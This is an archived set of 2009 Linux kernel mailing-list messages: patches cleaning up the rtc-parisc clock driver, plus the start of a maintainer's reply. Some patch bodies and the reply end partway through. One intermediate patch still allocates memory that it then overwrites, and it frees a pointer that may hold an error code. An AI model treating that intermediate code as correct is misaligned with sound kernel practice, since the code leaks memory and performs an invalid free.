 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063243 18894 80.91.229.12 (15 Jan 2009 23:47:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:23 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwp-0000Ca-Ms
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765549AbZAOXrI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765629AbZAOXrI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:08 -0500
Original-Received: from g1t0027.austin.hp.com ([15.216.28.34]:32463 "EHLO
	g1t0027.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765549AbZAOXrE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:04 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0027.austin.hp.com (Postfix) with ESMTP id CD19738416;
	Thu, 15 Jan 2009 23:47:03 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id 8AD7124029;
	Thu, 15 Jan 2009 23:47:03 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 2B35B39C087;
	Thu, 15 Jan 2009 16:47:03 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PUZu41CLyztV; Thu, 15 Jan 2009 16:47:01 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id C680839C07A;
	Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id 57E503B6924; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1188
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1188>

parisc_rtc now only includes an rtc_device pointer, so let's
just use the rtc_device type directly.

Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |   19 +++++++------------
 1 files changed, 7 insertions(+), 12 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index cb087ad..ee4e9a3 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -11,11 +11,6 @@
 
 #include <asm/rtc.h>
 
-/* as simple as can be, and no simpler. */
-struct parisc_rtc {
-	struct rtc_device *rtc;
-};
-
 static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 {
 	unsigned long ret;
@@ -47,16 +42,16 @@ static const struct rtc_class_ops parisc_rtc_ops = {
 
 static int __devinit parisc_rtc_probe(struct platform_device *dev)
 {
-	struct parisc_rtc *p;
+	struct rtc_device *p;
 
 	p = kzalloc(sizeof (*p), GFP_KERNEL);
 	if (!p)
 		return -ENOMEM;
 
-	p->rtc = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
-					THIS_MODULE);
-	if (IS_ERR(p->rtc)) {
-		int err = PTR_ERR(p->rtc);
+	p = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
+				THIS_MODULE);
+	if (IS_ERR(p)) {
+		int err = PTR_ERR(p);
 		kfree(p);
 		return err;
 	}
@@ -68,9 +63,9 @@ static int __devinit parisc_rtc_probe(struct platform_device *dev)
 
 static int __devexit parisc_rtc_remove(struct platform_device *dev)
 {
-	struct parisc_rtc *p = platform_get_drvdata(dev);
+	struct rtc_device *p = platform_get_drvdata(dev);
 
-	rtc_device_unregister(p->rtc);
+	rtc_device_unregister(p);
 	kfree(p);
 
 	return 0;
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 7/9] remove unnecessary ret variable
Date: Thu, 15 Jan 2009 16:46:54 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <55691aea931c081791b3daa370e1eb961748cf78.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
 <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
 <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
 <a1d5a8a954f9c5e9f014bb0ff3285b04d9aa96e4.1231983599.git.dannf@hp.com>
 <8c4b31bbd7552995774e6b94db365d1f4b04f226.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063245 18895 80.91.229.12 (15 Jan 2009 23:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:25 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwv-0000DQ-BQ
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765629AbZAOXrO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765750AbZAOXrN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:13 -0500
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:36783 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765629AbZAOXrJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:09 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id 0704FC446;
	Thu, 15 Jan 2009 23:47:09 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id C57FD24033;
	Thu, 15 Jan 2009 23:47:08 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 744A339C07D;
	Thu, 15 Jan 2009 16:47:08 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id H90VYePNSVdf; Thu, 15 Jan 2009 16:47:06 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 2F01139C07E;
	Thu, 15 Jan 2009 16:46:59 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id ED0183B6922; Thu, 15 Jan 2009 16:46:58 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <8c4b31bbd7552995774e6b94db365d1f4b04f226.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1189>


Signed-off-by: dann frazier <dannf@hp.com>
---
 arch/parisc/kernel/time.c |    5 +----
 1 files changed, 1 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index a479d08..e75cae6 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -223,10 +223,7 @@ static struct platform_device rtc_parisc_dev = {
 
 static int __init rtc_init(void)
 {
-	int ret;

From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 8/9] remove a couple unnecessary variables
Date: Thu, 15 Jan 2009 16:46:55 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <628cabc357f25364e5c77e13c60b4c89b6f674a7.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
 <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
 <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
 <a1d5a8a954f9c5e9f014bb0ff3285b04d9aa96e4.1231983599.git.dannf@hp.com>
 <8c4b31bbd7552995774e6b94db365d1f4b04f226.1231983599.git.dannf@hp.com>
 <55691aea931c081791b3daa370e1eb961748cf78.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063247 18904 80.91.229.12 (15 Jan 2009 23:47:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:27 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwx-0000EM-Ra
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765185AbZAOXrQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765750AbZAOXrQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:16 -0500
Original-Received: from g1t0028.austin.hp.com ([15.216.28.35]:14463 "EHLO
	g1t0028.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765185AbZAOXrM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:12 -0500
Original-Received: from g5t0029.atlanta.hp.com (g5t0029.atlanta.hp.com [16.228.8.141])
	by g1t0028.austin.hp.com (Postfix) with ESMTP id 156DF1C22C;
	Thu, 15 Jan 2009 23:47:12 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0029.atlanta.hp.com (Postfix) with ESMTP id A4C9D1002C;
	Thu, 15 Jan 2009 23:47:11 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 40C2E39C081;
	Thu, 15 Jan 2009 16:47:11 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PeQS4W2GwUWn; Thu, 15 Jan 2009 16:47:07 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 2F48839C07F;
	Thu, 15 Jan 2009 16:46:59 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id 11B7C3B6923; Thu, 15 Jan 2009 16:46:58 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <55691aea931c081791b3daa370e1eb961748cf78.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1190
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1190>


Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |   12 +++---------
 1 files changed, 3 insertions(+), 9 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index a2ca07a..c29e918 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -25,11 +25,7 @@ static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 
 static int parisc_set_time(struct device *dev, struct rtc_time *tm)
 {
-	int ret;
-
-	ret = set_rtc_time(tm);

From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 4/9] Use rtc_valid_tm() in parisc_get_time
Date: Thu, 15 Jan 2009 16:46:51 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
 <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063248 18911 80.91.229.12 (15 Jan 2009 23:47:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:28 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbws-0000DQ-RF
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1763704AbZAOXrL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765715AbZAOXrL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:11 -0500
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:36774 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1763704AbZAOXrH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:07 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id D3A62C175;
	Thu, 15 Jan 2009 23:47:06 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id 7C38824029;
	Thu, 15 Jan 2009 23:47:06 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id C91EB39C07B;
	Thu, 15 Jan 2009 16:47:05 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7u7DdCLrC1Df; Thu, 15 Jan 2009 16:47:00 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id C2FD539C043;
	Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id 6E6E93B6925; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1191>

Use the return value of rtc_valid_tm() instead of just returning 0.

Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index ee4e9a3..0477cc1 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -20,7 +20,7 @@ static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 	if (ret & RTC_BATT_BAD)
 		return -EOPNOTSUPP;
 
-	return 0;
+	return rtc_valid_tm(tm);
 }
 
 static int parisc_set_time(struct device *dev, struct rtc_time *tm)
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 9/9] rename p pointer to rtc
Date: Thu, 15 Jan 2009 16:46:56 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <c95f7e73216f9e8f9a312c1e4ef04985a525f827.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
 <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
 <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
 <a1d5a8a954f9c5e9f014bb0ff3285b04d9aa96e4.1231983599.git.dannf@hp.com>
 <8c4b31bbd7552995774e6b94db365d1f4b04f226.1231983599.git.dannf@hp.com>
 <55691aea931c081791b3daa370e1eb961748cf78.1231983599.git.dannf@hp.com>
 <628cabc357f25364e5c77e13c60b4c89b6f674a7.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063251 18918 80.91.229.12 (15 Jan 2009 23:47:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:31 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwx-0000EM-06
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765585AbZAOXrP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765898AbZAOXrO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:14 -0500
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:36790 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765585AbZAOXrK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:10 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id 5171FC3AA;
	Thu, 15 Jan 2009 23:47:10 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id 0C42624054;
	Thu, 15 Jan 2009 23:47:10 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id A404239C07E;
	Thu, 15 Jan 2009 16:47:09 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ui+5LK6aNwxI; Thu, 15 Jan 2009 16:47:08 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 4C3F639C080;
	Thu, 15 Jan 2009 16:46:59 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id 224783B6924; Thu, 15 Jan 2009 16:46:58 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <628cabc357f25364e5c77e13c60b4c89b6f674a7.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1192
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1192>


Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |   16 ++++++++--------
 1 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index c29e918..b966f56 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -38,23 +38,23 @@ static const struct rtc_class_ops parisc_rtc_ops = {
 
 static int __init parisc_rtc_probe(struct platform_device *dev)
 {
-	struct rtc_device *p;
+	struct rtc_device *rtc;
 
-	p = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
-				THIS_MODULE);
-	if (IS_ERR(p))
-		return PTR_ERR(p);
+	rtc = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
+				  THIS_MODULE);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
 
-	platform_set_drvdata(dev, p);
+	platform_set_drvdata(dev, rtc);
 
 	return 0;
 }
 
 static int __exit parisc_rtc_remove(struct platform_device *dev)
 {
-	struct rtc_device *p = platform_get_drvdata(dev);
+	struct rtc_device *rtc = platform_get_drvdata(dev);
 
-	rtc_device_unregister(p);
+	rtc_device_unregister(rtc);
 
 	return 0;
 }
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [rtc-linux] [PATCH 0/9] rtc-parisc cleanup
Date: Fri, 16 Jan 2009 01:06:33 +0100
Organization: Tower Technologies
Lines: 26
Approved: news@gmane.org
Message-ID: <20090116010633.60c3b87d@i1501.lan.towertech.it>
References: <cover.1231983598.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1232064466 22354 80.91.229.12 (16 Jan 2009 00:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Jan 2009 00:07:46 +0000 (UTC)
Cc: dannf@hp.com, linux-parisc@vger.kernel.org, lkml@vger.kernel.org,
	kyle@mcmartin.ca, akpm@linux-foundation.org
To: rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 01:08:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNcFh-0006bC-Uz
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 01:07:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752659AbZAPAGj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 19:06:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752109AbZAPAGj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 19:06:39 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:57576 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753471AbZAPAGh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 19:06:37 -0500
Original-Received: (qmail 8902 invoked from network); 16 Jan 2009 01:06:34 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 16 Jan 2009 01:06:34 +0100
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1193>

On Thu, 15 Jan 2009 16:46:47 -0700
dann frazier <dannf@hp.com> wrote:

> I recently submitted an rtc-efi driver having used rtc-parisc as a
> template. I received several suggestions from Alessandro Zummo and
> Andrew Morton that also apply to rtc-parisc. This series merges the
